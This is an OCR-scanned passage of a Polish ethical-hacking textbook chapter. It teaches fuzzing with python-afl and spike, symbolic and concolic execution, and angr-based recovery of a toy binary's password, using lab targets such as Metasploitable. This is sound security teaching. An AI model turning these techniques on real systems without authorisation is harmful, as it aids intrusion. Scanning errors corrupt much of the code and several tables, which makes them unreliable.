pulpicie utwérz folder o nazwie Fuzzer, a nastepnie w nim — trzy foldery o nazwach:
TestInput, App i Results. Bedziemy przechowywac nasze testowe pliki wejsciowe
w folderze TestInput, a wyniki fuzzowania w Results. Kod aplikacji, ktérg chcemy
fuzzowaé, umiescimy w folderze App.

Modyfikowanie programu

Fuzzer python-afl zaklada, ze testowe dane wejsciowe sq wezytywane z pliku dostar-
czonego przez std.in — trzeba bedzie wiec zmodyfikowaé program, aby to obstuzy¢.
Ponizszy program odczytuje z std.in wartosci: a, b i ¢, ktére sa nastepnie konwer-
towane z ciggdw znakéw na liczby catkowite i przekazywane do funkcji testowe;.
Utworz plik o nazwie fuzzExample.py w folderze App i dodaj taki kod:

import sys
import afl
import os

#.

# Umiesé tutaj funkcje testowy
"

#

def main():

@ in str = sys.stdin.read()

Oa. b, c = in_str.strip().split(" ")
a

= int(a)
b = int(b)
c = int(c)

testFunction(a,b,c)

if _name_ =="_ main_":

© afl.init()

main()

D os. exit(0)
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Pamietaj, aby skopiowaé funkcje testowa do lokalizacji okreslonej w komentarzu.

Odczytujemy zawartosé z std.in @. Nastepnie usuwamy koficowe spacje i znaki
nowej linii @. Podzieliliémy réwniez linie na trzy zmienne: a, b i c. W punkcie @
instruujemy biblioteke AFL, aby rozpoczela prace — przez wywolanie af1.init().
Wykonujemy nasza metode main przed zakonczeniem programu @. Dobra prak-
tyka jest wywolywanie os._exit(0), aby szybko zakoriczy¢ dzialanie fuzzingu, ale
nie jest to wymagane.

Tworzenie przypadkéw testowych

Nastepnie potrzebujemy kilku przypadkéw testowych, ktére zostang przekazane
do naszego programu. Otworz terminal i przejdz do folderu Fuzzer na pulpicie
— skorzystaj z polecenia:

kali@kali:~$ cd ~/Pulpit/Fuzzer

Uruchom ponizsze polecenie, aby w folderze TestInput utworzyé plik testIn-
putl.ixt, ktéry zawiera wartosci: 0, 11 1.

kali@kali:~/Desktop/Fuzzer$ echo "0 10 1" > TestInput/testInputl.txt
Przekieruj (<) te warto$ci do programu, uruchomiwszy takie polecenie:
kali@kali:~/Desktop/Fuzzer$ python3 App/fuzzExample.py < TestInput/testInputl.txt

Jesli wszystko zostalo zrobione poprawnie, Twéj program powinien dzialaé¢ bez
wyswietlania czegokolwiek. Jezeli co$ zostanie wy$wietlone, przeczytaj komuni-
kat o btedzie i upewnij sie, ze Twoje postepowanie bylo zgodne z instrukcjami.

Utwoérz dwa dodatkowe pliki testowe za pomocg polecenia:

kali@kali:~/Desktop/Fuzzer$ echo "2 5 7" > TestInput/testInput2.txt
kali@kali:~/Desktop/Fuzzer$ echo "10 10 10" > TestInput/testInput3.txt

Fuzzing programu

Teraz, gdy zbadali$my kod, przeprowadZmy na nim proces fuzzingu. Oto ogdlny
format uruchamiania programu py-afl-fuzz:

py-afl-fuzz [ opcje ] -- python3 /Sciezka/do/fuzzed _app
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Przed fuzzingiem programu w Pythonie wylacz funkcje AFL Fork Server. Ta
optymalizacja wydajnosci jest klopotliwa dla fuzzera Pythona AFL, uruchom
wiec takie polecenie, aby ja dezaktywowaé:

kali@kali:~/Desktop/Fuzzer$ export AFL_NO_FORKSRV=1

Teraz mozemy fuzzowaé plik Pythona dzieki poleceniu:

kali@kali:~/Desktop/Fuzzer$ py-afl
>-- python3 App/fuzzExample.py

-fuzz -i TestInput/ -o Results/

Pojawi si¢ ponizszy ekran, ktéry powinien si¢ aktualizowaé w czasie rzeczy-
wistym, gdy program jest fuzzowany:

american fuzzy lop 2.57b (python3)
-- process timing
| run time :
| Tast new path :
| last uniq crash :
| Tast uniqg hang :
|- cycle progress
| now processing :

0 days, 0 hrs,
0 days, 0 hrs,
0 days, 0 hrs,
none seen yet

| paths timed out :

|- stage progress -----------------
| now trying : havoc

| stage execs : 68/204 (33.33%)

| total execs : 577

| exec speed : 35.07/sec (slow!)

|- fuzzing strategy yields --------

| bit flips : 4/32, 1/31, 0/

| byte flips : 0/4, 0/3, 0/1

| arithmetics : 1/222, 0/9, 0/0

| known ints : 0/19, 0/81, 0/44

| dictionary : 0/0, 0/0, 0/0

| havoc : 0/0, 0/0

| trim : 20.00%/1, 0.00%

| ['] WARNING: error waitpid------
Aby znalez¢

---------------------- overall results ---

0 min, 16 sec |
0 min, 14 sec |
0 min, 10 sec |

|

| map density :
| count coverage :
------ |- findings in depth
| favored paths :
|  new edges on :
| total crashes :
| total tmouts :

own finds :

imported

| stability :

cycles done :
total paths :
uniq crashes :

uniqg hangs :
————— map coverage --------------
0.03% / 0.04% |
1.00 bits/tuple |

o o kO

2 (50.00%) |
3 (75.00%) |
505 (5 unique) |
0 (0 unique) |
path geometry ----- |
| Tevels :
|  pending :
| pend fav :
|

|

dane wejsciowe, ktére spowodowaly awarie programu, przejdz

do folderu Crashes w folderze Results. Ten folder zawiera pliki wejsciowe, ktére
spowodowaly awarie programu. Znajdziesz w nim pusty plik i plik z nieprawidto-
wymi znakami. Zapewne zauwazysz réwniez plik z poprawnymi danymi wej$cio-
wymi, ktére przeszly oméwiong wezesniej $ciezka, co aktywowalo instrukcje assert.
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Wvykonanie symboliczne

Czy nie byloby wspaniale, gdyby$my mogli analizowaé program bez jego wyko-
nywania? Wykonywanie symboliczne (ang. symbolic execution) to technika, ktéra
uzywa symboli zamiast rzeczywistych danych do przeprowadzania statycznej ana-
lizy programu. Gdy silnik wykonania symbolicznego eksploruje Sciezki w progra-
mie, buduje réwnania $ciezek, ktére mozna rozwiaza¢, aby okresli¢, kiedy zostanie
wybrana konkretna galaz. Rysunek 9.6 przedstawia warunki $ciezki zwigzane z funk-
cja testowa, ktora zbadalismy wcezesniej.

E—ﬂa/\(B<5)/\)\ |

Rysunek 9.6. Drzewo obliczen, ktére wizualizuje przejscia i warunki sciezki funkcji
testowej

Aby programowo obliczy¢ warunki $ciezki, uzywamy czego$, co sie nazywa
dowodzeniem twierdzen (ang. theorem prover). Dow6d twierdzenia odpowiada
na pytania typu: Czy istnieje wartosé x taka, ze xx5 == 157 Jesli tak, jaka to wartos¢?
Dowéd twierdzenia Z3 jest popularnym dowodzeniem opracowanym przez
firme Microsoft. Szczeg6lowe oméwienie dowodzenia twierdzen wykracza poza
zakres tej ksigzki, ale rozwazymy je w kontekscie naszego programu testowego.

Wvykonanie symboliczne dla programu testowego

Dowdd twierdzenia pomaga odkry¢ dane wejsciowe, ktore aktywujg kazdg Sciezke,
wyliczajac kazdy warunek Sciezki. Rozwaz $ciezke, ktéra prowadzi do stanu awarii
pokazanej na rysunku 9.6. Zobaczmy, jak wykonanie symboliczne wykorzystuje do-
wodzenie twierdzen, aby zidentyfikowaé, Ze jest to osiggalna Sciezka.

Po pierwsze, caly proces rozpoczyna sie od wykonania symbolicznego dla pro-
gramu. Wejscia: a, b i ¢ sa zastepowane wartosciami symbolicznymi: a, B, A. Kiedy
silnik procesu napotka instrukcje if (a):, przeprowadza dowéd twierdzenia, czy
istnieje warto$¢ a, ktéra zostanie wyliczona jako true. Jesli tak, zostanie zwrécona
warto$é: tak. Podobnie zostaje przeprowadzony dowdd twierdzenia, czy istnieje
warto$¢é a, ktéra ma wartosé false. Jesli istnieje, ponownie zostanie zwrécona war-
to$¢: tak. Oznacza to, ze silnik wykonania symbolicznego musi eksplorowac obie
$ciezki.
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Jesli zatozyé, ze najpierw bedzie eksplorowana Sciezka, dla ktérej zostata wyli-
czona warto$¢ false, silnik procesu napotka inny warunek: if (b < 5):. Spowoduje
to powstanie nowego warunku $ciezki, gdzie a nie ma wartosci true i B wynosi
mniej niz 5.

Ponownie zostaje przeprowadzony dowdéd twierdzenia, czy istniejg wartoSci
a i B, dla ktérych ten warunek jest prawdziwy lub falszywy i dla ktérych zwroé-
cona zostalaby warto$¢ tak. Zal6zmy, ze eksplorujemy galaz z warto$cia true.
Proces napotka trzeci i ostatni warunek warunkowy: if (not a and c) :. Skutkuje
to przejsciem do konca $ciezki, gdzie o nie ma wartosci true, f wynosi mniej niz
5 i A ma warto$¢ true. Teraz mozemy przeprowadzié dowdd twierdzenia w od-
niesieniu do zwrécenia wartosci: o, B, A, dla ktérych ten warunek $ciezki jest
speliony. Dowdd twierdzenia moze réwnie dobrze zwrécic¢ wartosci: a = 0, B = 4
i A = 1, tzn. dane wejsciowe, ktére doprowadzaja nas do stanu niepowodzenia.

Silnik wykonania symbolicznego powtérzy ten proces dla wszystkich mozli-
wych sciezek i wygeneruje kolekcje przypadkéw testowych potrzebnych do wy-
konania wszystkich Sciezek.

Ograniczenia wykonania symbolicznego

Istnieja jednak ograniczenia, dla ktérych dowdd twierdzenia nie moze zostaé prze-
prowadzony. Rozwaz naszg dyskusje na temat algorytmu wymiany kluczy Diffiego-
Hellmana z rozdziatu 6. Przypomnij sobie, ze odzyskanie klucza prywatnego za po-
mocg klucza publicznego wymagatoby rozwiazania problemu obliczenia elementu
odwrotnego dla logarytmu dyskretnego. Rozwaz te przykltadowsa funkcje, pier-
wotnie zaproponowang przez Mayura Naika z Uniwersytetu Pensylwanii:

def test(x):
¢ = gq*p #Two Targe primes.
@ if(pow(2,x) % c == 17):
print("Error")
else:
print("No Error")

Obliczenie warunku @ wymagaloby znalezienia wartosci x, ktéra spelnitaby
warunek. Dokonywane jest to poprzez rozwigzanie takiego réwnania:

2*mod ¢ = 17

Jest to réwnowazne znalezieniu elementu odwrotnego dla logarytmu. Jednak
obecnie nikt nie wie, jak skutecznie rozwigza¢ taki problem.

Jesli nie moze zostaé znaleziony dowdd twierdzenia, zakladane jest, ze moz-
liwe sg obie opcje, prawda i falsz, a silnik zbada obie $ciezki. Jednak ten wynik
jest niepoprawny, poniewaz warto$é x, ktéra sprawia, ze ten warunek jest praw-
dziwy, nie istnieje. To ograniczenie prowadzi wykonanie symboliczne do eksplo-
racji Sciezek, ktére nie sg wykonalne. Z tego i innych powodéw wykonanie sym-
boliczne nie jest skalowalne dla duzych programéw.
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Wraz ze wzrostem liczby Sciezek rosnie liczba réwnan $ciezek, co sprawia,
ze wykonanie symboliczne staje sie mniej wykonalne w wypadku duzych pro-
graméw. Zamiast tego testerzy czesto stosuja podejscie hybrydowe, zwane wyko-
nywaniem wspdtbieznym (ang. concolic execution) lub dynamicznym wykonaniem
symbolicznym (ang. dynamic symbolic execution). Jednym z najwczesniejszych
takich projektéw byt Symbolic PathFinder (SPF) opracowany przez zespot NASA.
Techniki te tacza dynamiczne wykonanie fuzzingu ze statycznymi technikami
analizy uzywanymi przy wykonywaniu symbolicznym.

Dynamiczne wykonanie symboliczne

Dynamiczne wykonanie symboliczne (ang. dynamic symbolic execution — DSE)
Iaczy techniki dynamicznego wykonywania, takie jak fuzzing, z pomystami z wy-
konania symbolicznego. Oprécz zmiennych symbolicznych i warunkéw $ciezki
DSE §ledzi konkretne wartosci dostarczane jako oryginalne dane wejsciowe do
programu i calkowicie bada $ciezke wykonywang przez te konkretne zmienne.
Ograniczenia Sciezek wynikajace z tej eksploracji sa nastepnie wykorzystywane
do generowania nowych konkretnych zmiennych, ktére eksploruja nowe $ciezki.
Rysunek 9.7 przedstawia przykladowy Sciezke obrang przez silnik DSE, gdy
uzywane sa konkretne zmienne: a = 0,b = 4ic = 0.

a=2,b=4,c=0
Xx=0,y=0,z=0
if (@)

True .-~ False

if(b<5)

-~
-~
~
~
.~
-

if (notaandc)

’ z=2
—aA(B<5)A-A

Rysunek 9.7. Przyktad sciezki wybranej przez silnik DSE
Aby naprawde zrozumie¢ wewnetrzne dzialanie silnika DSE, wez pod uwage
stan konkretnych zmiennych, zmiennych symbolicznych i ograniczen $ciezki, gdy

silnik DSE wykonuje kazdy wiersz funkcji testowej. Poszczegdlne wiersze tabeli
9.1 reprezentuja kroki w procesie wykonania programu.
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Tabela 9.1. Dane, zmienne symboliczne i warunki sciezki zebrane podczas jednego

przejscia silnika DSE
I\.lu'r.ner Kod Zrédtowy Dane Zmlenn.e ‘,N?ryn.k'
Linii symboliczne | Sciezki
1 def testFunction(a,b,c): a=0, b=4, c=0
2 X, ¥,2=0,0,0 x=0, y=0, z=0
3 if (a): a=a a=false
4 X = =2
5 if (b <5):
6 if (not a and c): =b B<5 == true
7 y=1 A=c (o A Q) ==
false
8 z=2 7=2
9 assert( x +y +z !=3)

W linii 1. wartosci: a, b i ¢ sg losowo inicjowane odpowiednio warto$ciami:
0, 4 i 0. Podczas wykonywania programu silnik DSE §ledzi kazdg nowa napo-
tkang zmienna, wiec gdy dojdzie do wiersza 2., zapamietuje x = 0,y = 0iz = 0
w kolekeji danych.

W tym momencie DSE przechodzi do wiersza 3., gdzie napotyka pierwsza
instrukcje if. Kazda nowa instrukcja warunkowa powoduje utworzenie nowego
warunku $ciezki i, jesli to konieczne, nowych zmiennych symbolicznych. Tutaj
silnik DSE tworzy nowg zmienng symboliczng a = a, reprezentujacg konkretna,
zmienng a, ktéra ma warto$¢ 0. W przeciwienstwie do silnika wykonywania sym-
bolicznego, ktéry uzywa narzedzia do sprawdzania twierdzen, aby zdecydowac,
czy zbadaé galgz, silnik DSE po prostu ocenia warunek i zastepuje go konkretng
zmienng. Warunek if(a) sprowadza sie do 1f(0), poniewaz warto$é a wynosi 0.
To po prostu daje warto$é false, wiec silnik DSE dodaje réwniez warunek Sciezki
a == falseinie bierze pod uwage tej galezi. Poniewaz warunek zostal oceniony
jako false, DSE nie wykonuje wiersza 4.

W nastepnym kroku DSE napotyka drugi warunek, if (b < 5): w wierszu 5.
W tym wypadku tworzy zmienng symboliczng B = b i uzywa konkretnej wartosci b,
aby okresli¢, czy wybraé galaz. Tu mamy b = 4, wiec galaZ jest wybierana. Na-
stepnie silnik DSE dodaje informacje, ze warunek $ciezki: B mniejsze niz 5 jest
prawda (B <5 == true), i przechodzi do trzeciego i ostatniego warunku w linii 6.

Tutaj silnik DSE napotyka nowa zmienng c. Tworzy nowa zmienna symbo-
liczng A = cioblicza warunek, if (not a and c) :, uzywajac konkretnych zmiennych
a = 2ic = 0. W tym wypadku galaz nie jest wybierana, wiec silnik DSE dodaje
warunek (- a A A) == false. Silnik DSE przechodzi nastepnie do wiersza 8., gdzie
aktualizuje konkretng zmienng z, aby przechowa¢ wartosé 2, i koficzy w wierszu 9.
Tumamyz = 2,x = 0iy = 0, wiec instrukcja (assert (x + y + z != 3)) nie jest
wyzwalana.

Gdy program dotrze do konca $ciezki, cofa sie do ostatniej gatezi, ktérg wy-
bral, i neguje ostatnig wartos¢ dodang w warunku $ciezki. W naszym przykladzie
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w nowym warunku Sciezki o nie ma wartosci true, B jest mniejsze niz 5 i A ma
warto$¢ true. Mozna to zapisa¢ w postaci réwnania:
—“aA(B<B5)AA
Gdy silnik DSE posiada nowy warunek, przeprowadza dowéd twierdzenia, aby
znalez¢ wartosci dla a, B, A1 spelniajgce to réwnanie. W takim wypadku wynikiem
tej operacji moze byéa = 0,b = 4ic = 1. Te nowe wartoSci pozwola silnikowi
DSE zbada¢ inng gataz. Rysunek 9.8 ilustruje cofanie sie algorytmu w celu zba-
dania nowej $ciezki.
a=2,b=4,c=0=>c=
Xx=0,y=0,z=0
if @)

True.--* False

if(b<5)

Rysunek 9.8. Proces cofania si¢ algorytmu w celu zanegowania ostatniego
warunku sciezki

Silnik DSE nastepnie zresetuje sie i powtérzy proces przy uzyciu nowych
warto$ci wejsciowych. Gdy dojdzie do konca $ciezki z nowymi danymi wejsciowymi,
silnik DSE neguje drugie ostatnio dodane ograniczenie. Ten proces jest konty-
nuowany rekursywnie, dopéki DSE nie zbada wszystkich $ciezek w drzewie.
Oto wyzwanie: sprawdz, czy mozesz skonstruowa¢ tabele pokazujaca konkretne
warto$ci, zmienne symboliczne i ograniczenia Sciezki, ktére spowodowatyby, ze
silnik DSE zidentyfikuje stan awarii.

Zwr6émy teraz uwage na moc DSE — przyjrzyjmy sie przyktadowi, ktéry bytby
trudny do rozwigzania za pomocg samego wykonania symbolicznego (tabela 9.2).

Tak jak poprzednio, program wykonujemy do konica $ciezki, uzywajac kon-
kretnych zmiennych. Kiedy dochodzimy do koiica, bierzemy odwrotnosé ostatniego
dodanego ograniczenia. Odwrotnosé jest pokazana tutaj:

f(x/= sha256(y,)) — x = sha256(yo)
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Tabela 9.2. Dane, zmienne symboliczne i warunki sciezki zebrane w jednym przejsciu

Kod Zrédtowy Dane i;nn;ir:l'i ne Warunki $ciezki

from hashlib import sha256
def hashPass(x):
return sha256(x)

def checkMatch(x,y): X=2,y=1| X =X, Yo=Y
z = hashpass(y) z = 6b..bdb z = sha256(yo) Xo =/ sha256(yo)
if (x ==2):
assert(true)
else:

assert(false)

Funkcja skrétu SHA256 uzyta w kodzie jest funkcja jednokierunkowa, wiec
solver (funkcja umozliwiajaca rozwigzywanie rownan) nie bedzie w stanie znalez¢
warto$ci dla x i y, ktére spetniaja ten warunek. Mozemy go jednak uproscié, za-
stepujac symboliczng zmienna y, jej konkretng wartoscig y = 1:

== sha256(y,) — x == sha256(1) — x == 6b...b4b

Mamy teraz satysfakcjonujace réwnanie, ktére mozemy tatwo rozwigzac.

DSE nie jest jednak idealne. Nadal sie zdarza, ze nie eksploruje wszystkich
$ciezek w programie. Ale fuzzing i DSE naleza do najlepszych narzedzi do wy-
krywania luk typu zero-day. Przyjrzyjmy sie niektérym programom, ktére umoz-
liwiaja przeprowadzanie testéw za pomoca DSE.

Uzywanie DSE do tamania hasta

Odkryjmy hasto uzytkownika za pomoca narzedzia o nazwie Angr. Angr zostat
stworzony przez Yana Shoshitaishviliego i innych cztonkéw zespotu badawczego
Giovanniego Vigny na Uniwersytecie Santa Barbara. Zamiast analizowaé konkretny
jezyk programowania, Angr analizuje pliki binarne, ktére otrzymuje sie podczas
kompilacji programu, co czyni go niezaleznym od jezyka. Przeéwiczymy go w tej
sekeji, ale najpierw musimy stworzy¢ program do testowania.

Tworzenie wykonywalnedo pliku binarnego

Na pulpicie Kali Linux utwérz folder o nazwie Concolic i wygeneruj w nim plik
o nazwie simple.c. To jest plik, ktéry skompilujemy.
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Skopiuj do pliku ten kod:

#include <stdio.h>

void checkPass(int x){
if(x == 7857){
printf("Access Granted");
telsef
printf("Access Denied");
}
1

int main(int argc, char *argv[]) {
int x = 03
printf("Enter the password: ");
scanf("%d", &x);
checkPass(x);

Powyzszy program jest zaimplementowany w jezyku programowania C.
Program prosi uzytkownika o wprowadzenie hasta, a nastepnie sprawdza, czy pa-
suje ono do ciagu 7857 (prawidtowa warto$¢). Jesli hasto jest zgodne, program wy-
$wietla Access Granted. W przeciwnym razie pokazuje komunikat Access Denied.

Otworz terminal i przejdz do umieszezonego na pulpicie folderu Concolic:

kali@kali:~$ cd ~/Desktop/Concolic/

Skompiluj program simple.c, aby utworzy¢ plik binarny (plik zawierajacy kod
maszynowy) — w tym celu uzyj polecenia:

kali@kali:~$ gcc -o simple simple.c

Ten program uruchamia kompilator gec (preinstalowany w Kali Linux), ktéry
skompiluje plik simple.c i zwréci (-0) plik binarny o nazwie simple.
Przetestuj dzialanie pliku binarnego przy uzyciu polecenia:

kali@kali:~$ ./simple

Instalowanie i uruchamianie Angr

Zalecamy uruchamianie Angr w wirtualnym srodowisku Pythona. Srodowisko
wirtualne izoluje biblioteki uzywane przez Angr od bibliotek Twojego srodowiska
— co zmniejsza bledy spowodowane przez sprzeczne wersje bibliotek. Uruchom
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ponizsze polecenie, aby zainstalowaé nakladke (ang. wrapper) na srodowisko wir-
tualnego Pythona (virtualenvwrapper) i jego zaleznosci:

kali@kali:~$ sudo apt-get install python3-dev 1ibffi-dev build-essential
virtualenvwrapper

Nastepnie skonfiguruj terminal i aktywuj wrapper §rodowiska wirtualnego,
ktéry umozliwi tworzenie nowych srodowisk wirtualnych:

kali@kali:~$ source /usr/share/virtualenvwrapper/virtualenvwrapper.sh

Teraz utwoérz nowe §rodowisko wirtualne o nazwie angrEnv i skonfiguruj je
tak, aby uzywato Pythona 3:

kali@kali:~$ mkvirtualenv --python=$(which python3) angrEnv
Na koniec zainstaluj Angr w tym nowym $rodowisku:
kali@kali:~$ pip3 install angr

Jesli wszystko skonfigurujesz poprawnie, zobaczysz etykiete angrEnv w swoim
terminalu:

(angrknv) kali@kali:~/Desktop/Concolic$

Angr jest dobrze udokumentowany, zanim wiec przejdziesz dalej, polecam
zapoznad sie z podstawowa dokumentacja. Sprobuj takze wykonaé éwiczenia w in-
teraktywnej powloce Pythona wymienione na hitps://docs.angr.io/coreconcepis/
toplevel/.

Program Angr

Teraz napiszmy w Pythonie program, ktéry bedzie uzywal narzedzia Angr do au-
tomatycznego wykrywania hasta w napisanym przez nas programie. Utwo6rz na
pulpicie plik o nazwie angrSim.py i zapisz w nim taki fragment kodu:

import angr
import sys
@ project = angr.Project('simple')
Qim’tia]_state = project.factory.entry state()
simulation = project.factory.simgr(initial_state)

© def is_successful(state):
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stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Access Granted' in stdout output.decode("utf-8")

@ def should abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Access Denied' in stdout_output.decode("utf-8")

@ simulation.explore(find=is_successful, avoid=should abort)

if simulation.found:

solution_state = simulation.found[0]

print("Found solution")
@ print(solution_state.posix.dumps(sys.stdin.fileno()))
else:

raise Exception('Could not find the password')

Importujemy plik binarny programu simple.c jako projekt Angr @. Zanim
przejdziemy dalej, pamietaj, ze zmienne symboliczne, ktére bedziesz sprawdzaé,
beda wektorami bitowymi reprezentujgcymi zawarto$é rejestréw symbolicznych.
Drzieje sie tak, poniewaz wykonanie symboliczne dotyczy pliku binarnego, a nie
kodu zrédlowego.

Otrzymujemy poczatkowy stan wejscia programu @. Nastepnie przekazujemy
ten stan do menedzera symulacji (simgr), ktéry bedzie zarzadzal procesem symu-
lowania wykonywania programu. Jesli cheesz recznie symulowaé program, mozesz
uruchomié¢ simulation.step(), co pozwolitoby na sprawdzenie stanu i warunku
$ciezki na kazdym kroku wykonywania. Dokumentacja Angr przedstawia ten
proces za pomoca prostego przykladu.

Teraz definiujemy funkcje, ktéra identyfikuje stan sukcesu @. Jesli stan zwroci
ciag Access Granted, funkcja zwr6ci wartosé true. Nastepnie definiujemy funkcje,
ktora identyfikuje stan awarii @. Jesli stan zwréci ciag Access Denied, funkcja zwréei
true.

Mozemy rozpoczaé proces DSE. Przekazujemy wskazniki funkeji do funkeji
oceniajacej, czy wystapil sukces lub niepowodzenie @. Jesli symulacja osiagnie
stan niepowodzenia, szybko sie koficzy i wznawia wyszukiwanie. Jesli jednak sy-
mulacja wykryje stan powodzenia, koriczy sie i zapisuje stan. Na koniec wypisujemy
dane wejsciowe, ktére spowodowaly, ze weszliSmy w stan sukcesu, i otrzymujemy
hasto @.

Za pomocg terminala uruchom program angrSim.py:

(angrenv) kali@kali:~/Desktop/Concolic$ python3 angrSim.py

Jego wykonywanie zajmie troche czasu. Po zakoficzeniu zobaczysz takie dane
wyjSciowe:

It is being loaded with a base address of 0x400000.
Found solution
b'0000007857"
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Gratulacje, znasz juz zasady pracy z silnikiem DSE programu Angr i masz dane
wejSciowe, ktére poprowadza Cie do sukcesu.

>
Cwiczenia
Cwiczenia te maja na celu uzupelnienie Twojej wiedzy o DSE i fuzzingu. Podaje je
uporzadkowane wedlug stopnia trudnosci i polecam zaczaé¢ od tych trudniejszych.
Pomogg Ci one naprawde opanowaé te zagadnienia. PomySlnych fowéw.

Zdobadz flage za pomoca Angr

W tym rozdziale przyjrzelismy sie tylko niewielkiej czesci tego, do czego zdolny jest
Angr. Mozesz poszerzyé swoja wiedze na temat tego narzedzia, wykonujac wyzwania
Capture the Flag stworzone przez Jake'a Springera. Repozytorium wyzwan na
https://github.com/jakespringer/angr_ctf zawiera réwniez rozwigzania, wiec po prze-
prowadzeniu préby mozesz sprawdzié swoja prace. Ukoncz wszystkie 17 wyzwar,
aby naprawde opanowaé Angr.

Fuzzing protokotéw internetowych

Zbadalismy, jak przeprowadzi¢ fuzzing na plikach binarnych. Teraz przyjrzyjmy
sie protokotom sieciowym — zrobimy to za pomocy narzedzia spike, ktére jest
preinstalowane na maszynie wirtualnej Kali Linux. Oto ogélna sktadnia polecenia:

generic_web_server fuzz [target-IP] [port] [spikescript] [variable index]
> [strings index]

Zacznij od okreslenia hostéw, ktére checesz fuzzowaé (na przyklad serwera
Metasploitable). Nastepnie okresl port uzywany przez protokét. Na przyktad mo-
zesz sprobowaé fuzzowaé serwer SMTP dzialajacy na porcie 25.

Fuzzer narzedzia spike nie zna struktury protokotu SMTP, musisz wiec dostar-
czy¢ skrypt, ktéry definiuje wiadomosé, jaka ma wystaé. Ten skrypt bedzie sie skta-
dat z kolekcji ciggéw do wystania i ze zmiennych, ktére mozna zmienia¢. Mozesz
napisaé wlasne skrypty fuzzingowe lub skorzystaé ze skryptéw zawartych w kata-
logu fusr/share/spike/audits/. W dalszej czeSci tego ¢wiczenia przyjrzymy sie przy-
ktadowemu skryptowi.

[variable index] okresla poczatkowa lokalizacje w skrypcie. Na przyktad wartosé
indeksu réwna 0 spowoduje fuzzing od pierwszej zmiennej zawartej w skrypcie,
podczas gdy warto$é 3 pozostawi pierwsze trzy wartoSci niezmienione i proces
rozpocznie si¢ od zmiany czwartej zmiennej zawartej w skrypcie.

Fuzzer narzedzia spike ma predefiniowang tablice mutacji tancuchowych,
a warto$¢ [strings index] okresla, ktéra z nich ma by¢ uzyta jako pierwsza. Na przy-
ktad wartosé 0 spowoduje rozpoczecie operacji od pierwszej mutacji ciggu, pod-
czas gdy warto$¢ 4 wyznacza start od piatej mutacji. Wartosci [variable index]
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i [strings index] sg przydatne, poniewaz umozliwiaja wznowienie fuzzingu w okre-
§lonym momencie procesu, jesli zostanie on z jakiegos powodu zakoriczony.
Kompletne polecenie moze wygladaé tak:

kali@kali:~$ generic_web_server_fuzz <Metasploitable IP address>
25/usr/share/spike/audits/SMTP/smtpl.spk 0 0

Target is 192.168.1.101

Total Number of Strings is 681

Fuzzing Variable 1:1

Variablesize= 5004

Request:

HELO /.:/AAAAAAAAAAA

Aby lepiej zrozumie¢ dane wyjsciowe, spojrzmy na skrypt smitpl.spk. Ten
skrypt narzedzia spike opisuje protokél SMTP i sktada sie z zestawu polecen:

s_string_variable("HELO");
s_string(" ");
s_string_variable("localhost");
s_string("\r\n");

/lendblock
@ s _string("MAIL-FROM");
s_string(":");

@ s string_variable("bob")

Polecenie s_string() méwi fuzzerowi, aby wyslal ciag znakéw odpowiadajacy
czes$ci wiadomosci SMTP. Fuzzer wysyla polecenie MAIL-FROM zwigzane z pro-
tokolem SMTP @. Polecenie s_string variable() definiuje ciag, ktéry bedzie
zmieniany. W tym wypadku jest to "bob" @. Fuzzer moze zmienic ten ciag i na przy-
ktad wysta¢ "buu". A jeszcze innym razem wysylanym ciggiem moze by¢ bAAAAAA.

Skrypt spike obstuguje réwniez inne polecenia, takie jak s_readline, ktére
wyswietla ciag reprezentujacy odpowiedz, a takze printf(), wypisujace dane w lokal-
nym terminalu (i doskonale nadajace sie do debugowania). Polecenie spike_send()
opr6znia bufor i wysyla calg jego zawartosé.

Sprébuj napisa¢ wlasny skrypt spike dla innego protokolu sieciowego. Jesli
uznasz, ze jest przydatny, dodaj go do oficjalnego repozytorium Git pod adresem
https://github.com/guilhermeferreira/spikepp.git.

Fuzzing projektu open source

Poéwiczmy teraz fuzzing prawdziwego programu. W tym éwiczeniu sprébuj uru-
chomi¢ fuzzer AFL, ktérego uzywalisSmy w tym rozdziale, dla swojego ulubionego
projektu open source. Nalezy pamietaé, ze fuzzing programéw open source jest
legalny, poniewaz pomaga to spotecznosci programistéw wykrywaé btedy, ktére
moga potencjalnie zosta¢ wykorzystane przez atakujacych.
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Podczas fuzzingu programu pamietaj, ze gdy znajdziesz blad, wyslij e-mail do
tworcow projektu. Pomocne jest réwniez wyjasnienie, w jaki sposéb mozna wy-
korzysta¢ blad, i dotaczenie przykltadowego kodu, ktéry go wykorzystuje.

Jak szybko okreslié, czy btad mozna wykorzysta¢? Wtyczka narzedzia gdb po-
zwala okresli¢, czy blad, ktéry spowodowat awarie, moze by¢ ztosliwy. Wtyczke
mozna pobraé z hitps://github.com/jfoote/exploitable.

Fuzzing jest procesem wymagajacym duzej mocy obliczeniowej i nie zaleca
sie robienia tego na maszynie wirtualnej. Zamiast tego uruchom fuzzer na zdalnym
serwerze lub na komputerze lokalnym.

Zaimplementuj wtasny mechanizm DSE

Fizyk Richard Feynman powiedzial kiedys: ,Nie rozumiem tego, czego nie moge
stworzy¢”. Najlepszym sposobem na glebokie zrozumienie czego$ jest wdroZenie
tego samodzielnie. Sprébuj zaimplementowaé¢ wlasny mechanizm DSE w Pythonie.
To ¢éwiczenie, przekazane studentom bezpieczenistwa komputerowego MIT, zostato
udostepnione publicznie tutaj: https://css.csail. mit.edu/6.858/2018/labs/lab3.html.
Sprébuj. Prawdopodobnie zaskoczy Cie, ile umiesz po lekturze tego rozdziatu.
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Klient ofiary, 210 tabela ARP, 47
modut jadra ofiary, 212 falszywe
serwer atakujacy, 208 dane uwierzytelniajace, 303
zlosliwe oprogramowanie, 211 po$wiadczenia, 318
drzewo ()bli(;zeﬁ, 195 wiadomosci e-mail, 133, 134, 138
DSE, dynamic symbolic execution, 197 wideo, 144-147
dzialanie silnika, 197-200 fatszywy
lamanie hasia, 200 ekran logowania, 301, 302
DSLAM, digital subscriber line access numer telefonu, 158
multiplexer, 42 numer ubezpieczenia, 266
dual-homed pakiet ARP, 43
dodawanie obstugi NAT, 326 filtr
konfiguracja urzadzenia, 312 after, 159
podlaczenie do sieci prywatnej, 314 city, 164
dynamiczne wykonanie symboliczne, filetype, 159
Patrz DSE intext, 159
inurl, 158
E os, 164
filtrowanie
ECB, electronic code book, 92 TCP, 62
edycja pliku .deb, 214 pakietéw, 61
edytor tekstu Mousepad, 48, 104 Firefox
ekran logowania Kali Linux, 32 narzedzia programistyczne, 292
